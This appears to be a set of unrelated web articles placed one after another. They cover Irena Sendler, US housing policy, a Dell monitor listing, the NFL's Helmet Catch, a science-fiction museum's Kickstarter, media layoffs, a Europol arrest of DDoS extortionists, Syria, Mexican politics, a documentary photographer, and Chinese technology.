resistance to help her escape. The officer added her name to a list of executed prisoners. Sendler went into hiding but continued her rescue efforts. Felt said that Sendler had begun her rescue operation before she joined the organized resistance and helped a number of adults escape, including the man she later married. “We think she saved about 500 people before she joined Zegota,” Felt said, which would mean that Sendler ultimately helped rescue about 3,000 Polish Jews. When the war ended, Sendler unearthed the jars and began trying to return the children to their families. For the vast majority, there was no family left. Many of the children were adopted by Polish families; others were sent to Israel.  Irena Sendler is often claimed to have been a candidate to receive the 2007 Nobel Peace Prize, but that honor was not awarded to her. It’s not possible to state categorically that she was “nominated” for the award, since information about Nobel Prize “nominations, investigations, and opinions is kept secret for fifty years.” (Since 1974 the statutes of the Nobel Foundation have stated that “work produced by a person since deceased shall not be considered for an award,” so she presumably could not be subsequently honored.)  In 2007, the Nobel Peace Prize was awarded jointly to the Intergovernmental Panel on Climate Change and former U.S. Vice-President Albert Arnold (Al) Gore Jr. “for their efforts to build up and disseminate greater knowledge about man-made climate change, and to lay the foundations for the measures that are needed to counteract such change.” (Al Gore was also involved with another significant award in 2007, when An Inconvenient Truth, a documentary about his campaign to make the issue of global warming a recognized problem worldwide, claimed an Academy Award as “Best Documentary Feature.”)  The International Federation of Social Workers (IFSW) expressed its disappointment that Irena Sendler had not yet been honored with a Nobel Prize:
-Looking for news you can trust?  Subscribe to our free newsletters.  Earlier this month, then-President Barack Obama issued an executive action requiring the Federal Housing Administration to decrease insurance premiums on FHA mortgages, a change that could have potentially saved low-income homeowners as much as $900 per year. In his first administrative order as president, President Donald Trump suspended this Obama order, which was slated to go into effect on January 27. In practice, this means that low-income homeowners will be stuck paying higher insurance premiums on their FHA-insured mortgages.  JUST IN: In one of first Trump admin. orders, Dept of Housing & Urban Dev. suspends reduction of FHA annual mortgage insurance premium rates — CNBC Now (@CNBCnow) January 20, 2017  FHA loans enable homebuyers—often those with lower incomes and who have fewer assets or bad credit—to bypass conventional lenders who would likely deny them loans by taking out a mortgage that’s insured by the federal government. The borrowers have to pay FHA mortgage insurance, to protect the mortgage lender from a loss should the borrower default on their home loan. In his announcement of the change, Obama said the drop in premiums would help stabilize the housing market and spur growth in housing markets still recovering from the financial crisis.  At his confirmation hearing last week, Ben Carson, Trump’s nominee to lead the Department of Housing and Urban Development, which oversees the FHA, said he was concerned about the Obama administration’s last-minute implementation of this insurance premium drop and would reexamine it. “I, too, was surprised to see something of this nature done on the way out the door,” Carson told members of the Senate Banking, Housing, and Urban Affairs committee. “Certainly, if confirmed, I’m going to work with the FHA administrator and other financial experts to really examine that policy.”  Presidential executive orders require no congressional approval to pass or overturn. Trump has vowed to eliminate all of Obama’s executive actions during his first days in office. This may be his first step toward fulfilling that promise.
-Whether for work or for play, the Dell UltraSharpTM U2412M can deliver an unmatched viewing experience.  Clearly outstanding: Watch your graphics come to life on a vast 24" (61cm) LED-backlit screen featuring a crystal-clear 1920x1200 resolution on a 16:10 widescreen aspect ratio so you can’t lose screen area just because your customized applications support a different resolution.  resolution on a widescreen aspect ratio so you can’t lose screen area just because your customized applications support a different resolution. Contrasting view: Get ready for blur-free viewing with 2 million:1 (typical) high dynamic contrast ratio and 8ms with overdrive gray-to-gray (typical) response time that helps ensure crisp, sharp and ghost-free images.  Colorful character: Enjoy an amazing range of rich, dramatic and accurate colors, thanks to IPS technology designed to give you color consistency across a broad viewing angle and a wide color gamut at 82% (typical).  designed to give you color consistency across a broad viewing angle and a wide color gamut at 82% (typical). Superior Connectivity: This monitor includes a Display Port, DVI-D, VGA, and 2x USB connectors.  Your monitor, your style.  The ultimate in flexibility and customizability, the U2412M monitor can be adjusted to suit your workspace, tailored to suit your viewing preferences, and with its wide viewing angle, it can be viewed from almost any position.  Height adjustability: Raise or lower the U2412M to suit your workspace and your personal style with 115mm of height adjustability.  Versatile connectivity: Connect a keyboard, mouse and other peripherals via USB ports, DisplayPort and DVI ports that can deliver outstanding image quality when viewing HD content.  Maximum flexibility: Position your monitor just the way you like with comfort-enabling features like tilt, swivel and rotate. IPS (in-plane switching) technology helps ensure a great view from almost any angle.  Supreme adaptability: Make colors cooler or warmer to suit your preference with the color temperature slider, while ‘Text mode’ automatically adjusts screen brightness to 150 nits, ideal for reading text.  Shipping Note: Shipping to Alaska and Hawaii is not available for this item.  A physical address is required for delivery. No Military or PO Box shipments available  Warranty: 6 Months VSSI
-Tyree is best known for the Helmet Catch in 2008 on the Giants' final drive of Super Bowl XLII . The catch came at a crucial moment and was instrumental in continuing the drive that eventually resulted in the Giants scoring a last-minute touchdown, resulting in a 17–14 victory over the previously undefeated New England Patriots .  Over Tyree's career at Syracuse , he ranked 13th on the career receiving record list with 1,214 yards, including 229 yards against Virginia Tech in 2002. He also developed a reputation for being an excellent special teams player, amassing six blocked punts . [3]  New York Giants Edit  Tyree was selected in the sixth round (211th overall) of the 2003 NFL Draft by the New York Giants. While with the Giants, he was primarily a backup, never catching more than 19 passes in a single season. However, he was best known for his special teams play, earning a Pro Bowl selection in 2005 as a special teams player.  The Helmet Catch Edit  During the 2007 season, Tyree had four receptions for 35 yards with no touchdowns; however, his utilization in Super Bowl XLII was his most relevant contribution.[4]  Tyree made two key plays in Super Bowl XLII. First, he caught a five-yard touchdown pass from quarterback Eli Manning, Tyree's first of the season, that gave the Giants a 10-7 lead late in the game.[5] Later, on a third-and-five with 1:15 remaining and trailing 14-10, Manning eluded a sack and threw 32 yards downfield toward Tyree. In Manning's words, the ball "floated" high.[6]  Tyree leaped and caught the ball fully extended, bringing it down against his helmet with his right hand, while the New England Patriots' Rodney Harrison pulled violently downward on that arm, simultaneously wrenching Tyree arching backwards towards the turf. Tyree, who got a second hand on the ball during the descent, seemingly kept the ball only inches from the turf, thereafter struggling successfully for possession while Harrison tried to steal the ball away from him on the ground. The play became known as "The Helmet Catch".[5][7] "I told you. He's a gamer," Manning commented to his brother, Peyton, regarding Tyree, after the game.[8] ESPN SportsCenter named it the greatest play in Super Bowl history the following day. It was later voted for the 2008 ESPY Award for Play of the Year. The pass moved the Giants to the Patriots' 24-yard line with 59 seconds left. Four plays and 24 seconds later, Manning threw a 13-yard touchdown pass to Plaxico Burress for the winning touchdown. The final score of Super Bowl XLII was Giants 17, Patriots 14.[9] Tyree dedicated this catch, which remains the last catch he has made in an NFL game, to his mother, Thelma, who died of a heart attack that year.[citation needed]  In 2008, Tyree was placed on injured reserve for a knee injury suffered during training camp after being on the physically-unable-to-perform list most of the season. He was released during the final cuts on September 5, 2009.[10]  Baltimore Ravens Edit  Tyree was signed by the Baltimore Ravens on October 13, 2009 after working out with the Tampa Bay Buccaneers. He appeared in ten games with the Ravens, but had no receptions.  Retirement Edit  Tyree signed a one-day contract with the New York Giants to announce his retirement from the NFL as a Giant on July 29, 2010.[11] On February 5, 2012, he watched from the Giants sideline as his former team beat the Patriots again in Super Bowl XLVI.[12] On July 22, 2014, he was named Director of Player Development for the New York Giants.[13]
-This summer, the Museum of Science Fiction in Washington, DC will open the "Future of Travel" exhibition at Reagan National Airport beginning on July 7, 2015.  As planned, the four-month exhibition will feature a large-scale Orion III spaceplane from 2001: A Space Odyssey, retro-futuristic travel posters by artist Steve Thomas, and a companion mobile app that will provide visitors with exhibit information, an interstellar passport, and their own "boarding pass to the future."  The mobile app will have an “Expedia-style” Plan-Your-Visit section to generate a simulated boarding pass that can be emailed to the traveler. The traveler could select a destination: the Moon, Alpha Centauri, or Mars – Climb Olympus Mons! Hike the Mars Rover trails! Stay in floating hotels! Remember your sunscreen! Travel to the Moon – Best view of the Earth! Visit the first moon landing monument!  BP Taylor of ScottModels finishing the Orion III Spaceplane from 2001: A Space Odyssey  With aerospace companies like XCOR, Virgin Galactic, and SpaceX turning science fiction into reality by developing and launching reusable space vehicles, it seems like the future is nearly here - any day now we'll all be able to hop a sub-orbital jet and reach the other side of the world in just a few hours.  Early progress on the Orion III Spaceplane  Orion III Spaceplane nearing completion, donning the Pan Am markings of the late 1960s  Tour the Nation's Capitol by Hovermobile and the 2001 Space Pen  You'll be able to download your own "interstellar passport" from our companion mobile app for special access to future Museum activities  You'll be able to download your own "boarding pass to the future" from our companion mobile app for special access to upcoming Museum events  In this exhibition, we reflect on the visions of artists from 50 years ago and invite visitors to imagine the potential of interplanetary travel - where we could go, and how we might get there.  Your choice of retro-futuristic travel posters signed by artist Steve Thomas  The Museum of Science Fiction is a 140-person all-volunteer organization. Everyone involved is donating their time and professional expertise to make the Museum a reality. The specific team that made this exhibition possible includes:  Regan Samul, Curator  Katherine Kidwell, Associate Curator  BP Taylor, Model Construction  Steve Thomas, Artist  Alexandre Carvalho, CIO, mobile software development  Steve Dreyer, Model Construction Subcommittee Chairman  John Detrich, Graphics  R. Paul Stimers, K&L Gates  Keith Jodoin, Sapling Pictures  Hal Davis FAIA, David Greenbaum FAIA, SMITHGroupJJR  Jerry Vanek AIA, Exhibition proposal design  Hannah Hoare, Product Management and Sourcing  James Hedrick, Project Management  Jonathan Spencer, General Counsel  Tom Stoker, Casework  Will O'Neill, Digital Communities  Nico Pandi, Public Relations  This exhibition is our first chance to share what we're doing as we work towards establishing a permanent institution, and of course, there are some expenses involved ...  That's where we need your help.  We need to raise $7,500 to help with shipping, storage, and display of the "Future of Travel" exhibition. It might seem like a modest goal, but it will allow us to properly care for these objects until their permanent home is ready. If you help us surpass that, we have a few stretch goals planned so that your generosity and support might allow us to take the "Future of Travel" on the road!  Aluminum luggage tag and playing cards for your next sub-orbital flight  Beyond the warm fuzzy feeling you'll get from supporting the Museum, we have some sweet backer rewards planned that are all inspired by the iconic design of 2001: A Space Odyssey, from original art playing cards to a special travel poster signed by the artist himself. These items will only be offered through THIS Kickstarter campaign, so don't miss out! Take your time, browse our list, and pick out something you like - but I can tell you, our limited-edition travel tumblers and Museum of Science Fiction 'wing-pins' are personal favorites of the Museum's curator.  Zero-g travel tumbler and rocket fuel canister suitable for coffee or liquid hydrogen (just kidding about the H2)  His and her t-shirts, ideal for use at home or on lunar safari  The Museum of Science fiction is a 501c(3) nonprofit organization.  The Museum will show how science fiction continually inspires individuals, influences cultures, and impacts societies. Also serving as an educational catalyst to expand interest in the science, technology, engineering, art, and math (STEAM) areas, the Museum uses tools such as mobile applications and wifi-enabled display objects to educate and entertain.  To learn more about what we’re doing and who is involved, the following links will provide more information:  Museum website | Preview Museum | Leadership | Board of Advisors | Join  Quarterly Project Updates and Newsletters | Wikipedia | Facebook | Twitter  Thanks for your support!
-. . . .  Dow Jones. | AP Photo/Richard Drew Barron's to lay off employees next week, editor reveals in accidental email By Peter Sterne By | 10/21/16 03:07 PM EDT  Barron's is planning to announce lay-offs next week, editor Ed Finn wrote in an email that he accidentally sent to the entire Wall Street Journal newsroom on Friday.  On Friday morning, Journal editor Gerard Baker emailed Journal employees to On Friday morning, Journal editor Gerard Baker emailed Journal employees to announce a round of newsroom buy-outs  Story Continued Below  . .  Finn — the president and editor of Barron's, which is owned by Journal parent company Dow Jones — apparently meant to forward Baker's email to Dow Jones Media Group publisher Almar Latour and two other company executives, in order to discuss what impact the Journal buy-outs might have on forthcoming layoffs (which had not yet been publicly announced) at Barron's.  "The email Gerry Baker just sent about wsj buyouts says that dj is offering 1.5x the standard buyout package," Finn wrote in the email. "Are we planning to go to the employees we are laying off at Barron's next week and offer them 1x the standard package. That could create some problems. Please advise."  But instead of clicking "forward," he accidentally clicked "reply-all," inadvertently sending the email to the Journal's newsroom.  "That was not intentional. it was a mistake. we had not been told what package was being offered to the several barron's folks who would be laid off next week," Finn told POLITICO in an email.  Additional reporting from Hadas Gold
-Police believe they have nabbed a key figure behind a series of online extortion attacks that have taken place around the world over the last 18 months.  Operation Pleiades, a joint operation by police forces from around the world, led to the arrest of a "main target" and the detention of another suspect, Europol said Tuesday.  The denial-of-service attacks on webservers and the like made by group going by the name DD4BC (Distributed DoS for Bitcoin), are followed by an email threatening that the attack will be stepped up unless a payment is made in bitcoin.  Attackers using the name DD4BC have targeted businesses large and small -- and also email addresses leaked from the Ashley Madison website.  The timing of the attacks suggested that whoever was behind them was in Europe, while the grammar and spelling of the ransom demands suggested a non-native-English speaker, according to a report by Neustar Engineering analyzing the attacks.  The U.K.'s Metropolitan Police Cyber Crime Unit came to the same conclusion, identifying key members of the network in Bosnia and Herzegovina.  Police there, working with others from Austria, Germany and the U.K., conducted joint raids on Dec. 15 and 16, arresting one suspect and detaining another as evidence was seized following a series of property searches.  Europol deployed a mobile office as part of the action, giving investigators access to its forensic tools and databases.  The operation was supported by authorities in Australia, France, Japan, Romania, and Switzerland. Interpol, the U.S. Federal Bureau of Investigation and the U.S. Secret Service also helped coordinate the operation, Europol said.
-AutoGuide.com  Common sense would tell you that wearing headphones (those not made to communicate hands-free with a phone) while driving would be illegal – or at least stupid.  But apparently it’s not that clear cut in the majority of the 50 states in America. According to AAA, wearing headphones is “mostly illegal” in just four states, while it’s “mostly legal” in 33 states. In the remaining 13, it’s apparently a Facebook relationship status of “it’s complicated.”  The complicated states have differing laws from state to state but for the most part it means that unless headphones are built into a helmet or is a Bluetooth headset, it’s illegal.  In case you thought that it was perfectly safe and legal to use headphones while driving, you might want to double check your state’s law. Or just be a nice, safe driver and avoid wearing them altogether.  [Source: Geekwire]
-The wave of unrest that erupted in the Arab world last year reached Syria in March, with widespread protests against President Bashar al-Assad. Assad's troops began a series of harsh crackdowns, in some cases shelling and occupying residential areas. The UN estimates more than 5,000 Syrians have been killed in the past 10 months. Thousands continue to protest, despite the threat of government snipers in the streets and alleged incidents of torture and execution by Syrian forces. The Arab League, Europe, and the United States have all imposed stringent trade sanctions against Syria, and the Arab League has sent in a team of observers to monitor the situation -- but nearly 150 Syrians have reportedly been killed since the observers arrived two weeks ago. The Arab League mission will issue a full report on January 19, possibly referring the issue to the United Nations. However, Russia and China oppose UN action, and the U.S. and Europe do not appear to be planning any Libya-style intervention. Gathered here are images of the unrest in Syria over the past several weeks. Many of these photos have been made available despite harsh government restrictions on reporting.
-You know that awkward moment when you suddenly realize you’ve greeted the Swiss president by flying another country’s flag?  That was the unfortunate backdrop for a meeting in Kiev between Switzerland’s federal president, Didier Burkhalter, and Ukraine’s prime minister, Arseniy Yatsenyuk, convened Monday to discuss rising tensions between Ukraine and Russia.  With all good intentions, Yatsenyuk’s office had arranged to have a Swiss flag in the office along with Ukraine’s for the moment when the two political leaders shook hands. A lovely gesture, had it actually been the Swiss flag. But it was Denmark’s flag instead.  Admittedly, the two do have some key features in common — a red background with a white cross. The Swiss cross, though, is small and centered in a field of red, while the cross on the flag of Denmark extends all the way to the edges. Burkhalter didn’t let the mix-up get in the way of the crisis discussion, though he did point out the Danish flag before shaking Yatsenyuk’s hand, according to 20 Minuten.  This was not the first time the Swiss banner has been mistaken for its Danish equivalent. During the Danish cartoon crisis in 2005 — when drawings depicting the Prophet Muhammed sparked a diplomatic crisis — protesters reportedly burned Swiss flags.  To avoid future confusion, here’s a picture of the Swiss flag:  And this, as a red-faced flag-procurement functionary in Kiev now knows all too well, is the Danish one:  Shutterstock  — Sara Sjolin  — Follow Sara on Twitter @sarasjolin.  More must-reads from MarketWatch:  Inflation stays hot topic in Europe and U.K. in the week ahead  Ukraine mobilizes as pro-Russian forces extend grip
-WHEN Andrés Manuel López Obrador winds up a stump speech in the main square of Jilotepec, a small town in the eastern state of Veracruz, the crowd surges forward. It takes him 15 minutes to pass through the commotion of backslapping, selfies and jabbing microphones to reach the car parked outside the tent where he spoke. The point of the rally is to promote Mr López Obrador’s party, Morena, in municipal elections to be held in Veracruz in June. But his main goal is much bigger: to win Mexico’s presidency on his third attempt, in 2018.  That is a prospect that thrills some Mexicans and terrifies others. A figure of national consequence for more than 20 years, AMLO, as he is often called, has fulminated against privilege, corruption and the political establishment. Sweep away all that, he tells poor Mexicans, and their lives will improve. Many others hear in that message the menace of a charismatic populist who would punish enterprise, weaken institutions and roll back reforms. The biggest worriers view him as a Mexican version of the late Hugo Chávez, an autocrat who wrecked Venezuela’s economy and undermined its democracy.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  But Mexico, like some richer countries, may now want more drastic politics. Voters are enraged by corruption, crime, which is rising again after a drop, and feeble economic growth. Not long after Mr López Obrador spoke in Jilotepec, the state prosecutor in Veracruz reported that 250 skulls, belonging to victims of drug gangs, had been found in pits near the state capital. Many Mexicans have stopped believing that either of the parties that have governed Mexico this century, the Institutional Revolutionary Party (PRI) of President Enrique Peña Nieto or the opposition National Action Party (PAN), will do much about such horrors. And now they face a confrontation with an American president who wants to end free trade, deport millions of Mexicans, build a wall and force Mexico to pay for it.  AMLO proposes to answer graft with his own incorruptibility, and Donald Trump’s nationalism with a fiery nationalism of his own. In Jilotepec he rails against the former governor of Veracruz, now facing corruption charges and on the run from the police. He slams the PRI, the fugitive’s party, as “corrupt and cynical” and the PAN as “corrupt and hypocritical”. The message strikes home. “Mexico is rich, but those who govern us rob us,” says a supporter.  Mr López Obrador has taken his campaign to the United States, where he presents himself as the only politician who can stand up to Mr Trump. In New York on March 13th he denounced Mr Peña for allowing his American counterpart to rain “insolence and insults” upon millions of Mexicans living in the United States. A President López Obrador would mean “alpha males either side of the border”, says Juan Pardinas of IMCO, a think-tank. Voters may like that idea.  Mr López Obrador is the early front-runner for next year’s election (Mr Peña cannot run again). In a one-round election, he could win with as little as 30% of the vote (see chart). If that happens, Mexico will embark on a perilous political experiment.  He began his political career in the southern state of Tabasco as an operative of the PRI, which monopolised political power at the national level from 1929 to 2000. His renegade streak showed up early. As an official of the National Indigenous Institute he spent five years living with the Chontal, an Indian community. Hence his preoccupation with the poorest Mexicans, says Lorenzo Meyer, a historian. Mr López Obrador became the PRI’s state chief, but was squeezed out of the job by priistas suspicious of his grassroots organising.  His rise to national prominence came after he lost a race to be governor of Tabasco in 1994 as the candidate of what is now the Party of the Democratic Revolution (PRD), a left-wing group that had broken away from the PRI. At a sit-in in the Zócalo, Mexico City’s main square, Mr López Obrador theatrically presented 14 boxes of documents proving, he said, that the PRI had stolen the election.  His talent for political showmanship helped make him mayor of Mexico City from 2000 to 2005. He ran twice for the presidency, in 2006 and 2012, losing to Mr Peña in the second contest. In 2014 he split from the PRD over its support for Mr Peña’s economic reforms and founded Morena, the Movement of National Regeneration.  Mr López Obrador has been an unremitting opponent of measures to modernise the economy, from the North American Free Trade Agreement with the United States and Canada, which took effect in 1994, to the opening up of the energy market to private investors under Mr Peña in 2014. If elected, Mr López Obrador promises to hold a referendum on energy reform. A chapter in his most recent book is called “privatisation is a synonym for robbery”. He has sided with a radical and disruptive teachers’ union in resisting an education reform promoted by Mr Peña, which would require teachers in the abysmal state schools to take evaluation tests.  As Mexico City’s mayor, Mr López Obrador caused less mayhem than his image suggested he might. He built roads and introduced a small universal pension. Debt rose by a modest 9% in real terms during his mayoralty. “He got on well with businesses and with developers,” says Agustín Barrios Gómez of the Mexican Council on Foreign Relations, who is a former PRD congressman. He left office with an approval rating of 84%. But he preferred popular policies to good ones. The pensions did not require future beneficiaries to contribute. The investment in roads would have been better spent on public transport. He did not work to professionalise the police or the judiciary. In short, “he was not an institution builder”, says Mr Pardinas.  That failure points to his most worrying trait: a contempt for norms, separation of powers and the rule of law. After he lost the election in 2006, his supporters threatened a revolution and blocked Reforma, one of the capital’s main roads, for six weeks. In 2001 he responded feebly to the lynching of a man suspected of stealing religious images near Mexico City, saying, “We do not interfere with the beliefs of the people.” Though personally honest, Mr López Obrador lacks the respect for institutions that would make him an effective corruption-fighter.  As the date for the 63-year-old’s third (and probably final) run for the presidency approaches, he is trying to be less divisive. He endorsed Mr Peña’s plan to visit Mr Trump in January. (The trip was cancelled after the American president posted an insulting tweet.) He has been friendlier to business. Disappointed by the performance of the economy under the reformist Mr Peña, some entrepreneurs are “more willing to give Mr López Obrador a chance”, says Gerardo Esquivel, an economist at the Colegio de México, a university.  For now, Mr López Obrador has the political field to himself. Morena is basically a one-man party, which means its quota of party-propaganda broadcasts can focus on promoting him. Other parties have to divide their resources among various politicians; none has yet selected its presidential candidate for 2018. This “has had an enormous effect” on AMLO’s chances of winning, says Mr Aguilar.  The PRI’s nominee for president, whoever it is, will be tainted by association with the current government. The likeliest PAN candidate, Margarita Zavala, is popular, but she is the wife of a former president, Felipe Calderón, who is widely blamed for an upsurge of violence provoked by his inept crackdown on crime. The PRD has little support. Inflamed relations with the United States and an economy weakened by the onslaught from the Trump administration would also play into Mr López Obrador’s hands.  His victory is no sure thing. His momentum would be slowed if Morena does badly in the governor’s election in the State of Mexico in June. Anybody-but-AMLO voters could unite behind one candidate; nearly half of voters have a negative view of him, a much higher share than for any other potential candidate. He has a talent for self-destruction. In 2006 his 16-point lead vanished after he refused to participate in the first televised debate and called the president, Vicente Fox, chachalaca, a bird noted for its loud cackle.  Much of Mexico’s elite prays that such buffoonery will again prove his undoing. But he has become smoother and more disciplined. The danger is that, even if he is shrewder about obtaining power, he may be no wiser about how to exercise it.
-Little Jessie, 2006. Little Jessie has been drinking coffee in his bottle since he was a baby. He is 12 now and he still drinks coffee. He says it helps him sleep. Brenda Ann Kenneally  Brenda Ann Kenneally takes photographs, but to call her a photographer isn’t quite accurate. She prefers the term “digital folk artist,” and when you hear how she interacts with her subjects—families living below the poverty line in Troy, New York—and tells their stories, it seems an apt description. Kenneally doesn’t simply create media, she curates it: She collects family photo albums, school and medical records, letters from prison, scrapbooks, and even screenshots from Facebook. Since she began her project, “Upstate Girls,” more than 10 years ago, she’s amassed thousands of photos, several terabytes of video, and scores of other documents. “If you’re doing documentary, you need to be the foremost authority on whatever you’re doing. I don’t know anything about almost everything; there are so many things to know now. But I know some stuff about these couple places, and you have to want to share that,” she said. “The pictures are just a way to remind me about what I’ve learned. No longer do I care about having pictures in a frame on the wall.”  Kenneally lived in Troy, a city 140 miles north of Manhattan, and surrounding cities on and off as a child and teen. She left for good at the age of 17 after a young pregnancy and abortion, problems with drugs and the legal system, and time living in group homes. After getting sober, she studied photojournalism and sociology at the University of Miami. After graduation, she moved to Brooklyn and began photographing her neighbors’ struggles with poverty and drugs. She was in Troy on an assignment for the New York Times Magazine in 2002 when she met her first subject, Kayla, who later invited her to photograph the birth of her son. Beginning in 2004, Kenneally started visiting Troy regularly and began documenting the lives of seven women who lived near Kayla. “To go back there was like revisiting my own culture in a very real way,” Kenneally said.  Lawerence, 2007. Lawerence’s house collapsed one night, destroying all the family’s possessions and forcing them to move into a shelter. Lawerence is at the shelter in this photo with all the food that they could stash in the room. Brenda Ann Kenneally  Robert, 2013. Kenneally met Kayla’s brother, Robert, in 2004 when he was living at the Children’s Home of Kingston. He now has two sons by two different mothers. He’s pictured here with his son, Logan. Brenda Ann Kenneally  Laurie’s Son Chris, 2007. Laurie’s youngest son used to love to light fires and got into some trouble at school. Eventually, he went to go live in the country with Laurie’s mom. Brenda Ann Kenneally  Kandice, 2013. Kandice, seen here dressed for Halloween, really wanted to fall in love. After a few romances, she became pregnant and gave birth in January 2014. Brenda Ann Kenneally  Troy thrived during the Civil War, when the success of its steel processing plants served as an example of the industrialization of the United States. Shirt, collar, and textile production also boomed there. But today, Troy is a city with serious social issues: According to a report released by the New York State Community Action Association in 2010, 21.4 percent of residents in Troy live in poverty, and about 70 percent of poor families are headed by a single mother. “I have dedicated my life to exploring the how and why of class inequity in America. I am concerned with the internalized social messages that will live on for generations after our economic and social policies catch up with the reality of living on the bottom rung of America’s upwardly mobile society,” Kenneally said in a statement about her work. “My project explores the way that money is but a symptom of self-worth and a means by which humans separate from each other. Poverty is an emotional (rather than simply) physical state with layers of marginalization that cements those who live under them into place.”  Since Kenneally started her project, many of her subjects have had children and new lovers, and she has begun documenting their lives as well. She hopes to provide some sense of closure to the project soon, but not before releasing a nonlinear Web documentary feature on her subjects and a “photographic novel” in several parts. On the other hand, Kenneally feels her project will continue indefinitely. “I never feel I could stop. I feel like I should be there right now,” she said.  These photos, as well as the scrapbooks documenting the lives of their subjects, are scheduled to be on permanent display at the forthcoming North Central Troy Historical Society: A People’s History, across the street from where the many of the girls live. For more information check out www.mediasanctuary.org.  Update, July 17, 2014: This post has been updated with more information about where to find the photographs. The photograph “Kayla and Tony” has been removed at the photographer’s request.  Destiny and Deanna Pretending to Smoke, 2008. When the girls’ mother came home from work at the Hess convenience store, the girls would often pamper her by bringing her soda, taking her shoes off, and running to the kitchen to light her a cigarette from the stove. Brenda Ann Kenneally  Heather and Her Daughter Jada, 2010. Heather and Kayla lived together for two years until Heather had a one-night stand with a boy that both she and Kayla knew. Heather was forced to give the baby up to her mother. Brenda Ann Kenneally  Patrice and George, 2007. Patrice is Lawerence’s youngest sister. After the family got out of the shelter they moved around and then eventually came back to the street where they lived near Kayla’s family. A family friend named George moved in to help out with the kids and contribute financially. George and Patrice became inseparable. Brenda Ann Kenneally
-To one watching the advance of Chinese science and technology, or to me anyway, several things stand out. First, the headlong pace. Second, the amount of it that appears aimed at making China independent of the West technologically and getting the United States off Beijing’s back. Third, the apparent calculated focus. It looks like intelligent design, as distinct from America’s competitive scrabbling for profit by special interests, the hope being that this might inadvertently benefit the country as a whole.  In short, the Chinese seem to Have Something In Mind.  As I have mentioned before, China came out of nowhere to become the world leader in supercomputers. Also in high-speed rail, of strategic importance in its plan to united Europe and Asia economically. Heavy investment in solar power offers to ameliorate its dependence on oil from the Persian Gulf, vulnerable to blockage by the US Navy. Then there is DF21D terminally guided ballistic missile, specifically intended as a carrier-killer in what China regards as its home waters. The list could go on at length.  In much of America, the Chinese are dismissed as being “unable to innovate,” inventiveness being thought of as unique to white men. Thinner ice has perhaps never been trod.  The Chinese are smart. They are certainly capable of high-grade engineering and scientific research. (Eg., Beijing Genomics Institute) The line between imaginative engineering and invention is blurry. Note that on the numbers China can potentially bring to bear five times as many engineers as America can and, while they are well short of this, twice as many would be–is?–the beginning of a new world.  While Beijing works to benefit China, rapidly increasing its techno-industrial clout, Washington spends insanely on weaponry. It is trying to apply a military solution to a commercial problem. America crumbles economically, politically, culturally, but has the very best bombers.  Example of non-inventiveness:  Step One, From a while back, “China Activates World’s Longest Ultra Secure Quantum Communication Network..” Beijing to Shanghai.  Quantum communications is based on the behavior of entangled photons. Said behavior is obviously impossible, but apparently nobody has told the photons, so they do it anyway. (Unless all the world’s physicists are smoking Drano. This possibility is worth considering. If interested, quantum entanglement. Also Quantum Key Distribution.) The point is that if anyone tries to intercept the transmission, it becomes obvious. A weakness is that you need repeaters every sixty miles, which reduces security.  Unless you do it in space:  Step Two: China launches world’s first quantum satellite. Having done the landline, they move to orbital experimentation.  Step Three, Bingo! “China Just Took the Lead in the Quantum Space Race”  This being a big deal, I clip from Asia Times:  On Thursday, a team of Chinese scientists released findings from a breakthrough study that makes China the indisputable leader in the field of quantum communication, an achievement that could be of immense strategic importance.  The study, led by Pan Jianwei and published in Science magazine, successfully demonstrated the ability to distribute entangled photons across unprecedented distances, from space to earth, opening the door for the practical application of cutting-edge, ultra-secure communication.  The unprecedented distance was 1200 kilometers. Beijing might be regarded as trying to establish world-wide communications secure against NSA and, eventually, a whole internet proof against Fort Meade. Whether one regards this as engineering development or innovation doesn’t seem to make much difference.  “Chinese Solar-Powered Plane Flies at 65,000 feet”  It apparently could stay aloft for months. The stories dealing with it suggest that the purpose might be long-term surveillance of countries, meaning spying. In any event, it is a neat technological trick, especially from people who can’t innovate.  Then we have, from Phys.org,  “China launched its most powerful rocket ever on Thursday, state media said, as the country presses on with a program which has seen it become a major space power.”  The point here is not that China is ahead of America in space–it isn’t–but that it is coming on fast. Engineering, engineering, engineering. Dismissive Americans point out that the US was on the Moon in 1969 and that China is piggybacking of American technology. True. And Irrelevant.  From the National Interest: “The World’s New Leader in Super Deadly Hypersonic Weapons: China?”  Chinese Quantum Radar  Quantum radar is another application of entangled photons. The link gives a semi-technical overview. The important point is that in principle it allows detection of stealth aircraft.  The Chinese assert that they can now detect stealth aircraft at 62 miles with enough accuracy to compute a fire-control solution. This means that radar stations with slightly overlapping fields of detection, say a hundred miles apart, could detect incoming aircraft with easily enough time to shoot them down.  If this report is true, it is potentially devastating for the US Air Force. So far as I am aware, Chinese claims of technical results have heretofore been accurate.  The Air Force has invested very, very heavily in stealth. In bombers, the hugely expensive B2 and the planned hugelier expensiver B21 are dead meat if detached. In fighters, the F22 and the F35 Bankruper—Lightning II, I meant to say—will lose their main selling point if detectable. The F35 in particular has made compromises in performance to make it stealthy and, if detectable, is just a so-so fighter.  Next: “Enter the Nimble Dragon: China sees nuclear future in small reactors”  “SMRs (small modular reactors) have capacity of less than 300 megawatts (MW) – enough to power around 200,000 homes – compared to at least 1 gigawatt (GW) for standard reactors….”  “China is aiming to lift domestic nuclear capacity to 200 GW by 2030, up from 35 GW at the end of March, but its ambitions are global.”  Small reactors (a bit larger than a bus) are important if you want to electrify a remote city without the overkill of a standard plant or the expense of long transmission lines. China is not the only country working on mini-nukes (or on anything else mentioned in this column), but it can now play with the big boys. Again, small reactors are an abrupt entrance into a major technical field. Note “global ambitions.” A Reuters piece describes “an ambitious plan to wrest control of the global nuclear market.” Planning and doing are not the same thing, but if I were a nuclear market, I would be uneasy.  For whatever reasons, the American media do not much cover technological advance in China. Ignorance? Arrogance? Is it just the American tendency to regard the rest of the world as unimportant? Maybe a little attention would be a good idea. A steady stream of advances comes out of the Middle Kingdom. In some fields, the Chinese lead the world. In others, they are behind but not be much, and gaining. Could be important. Especially if they learn to innovate.
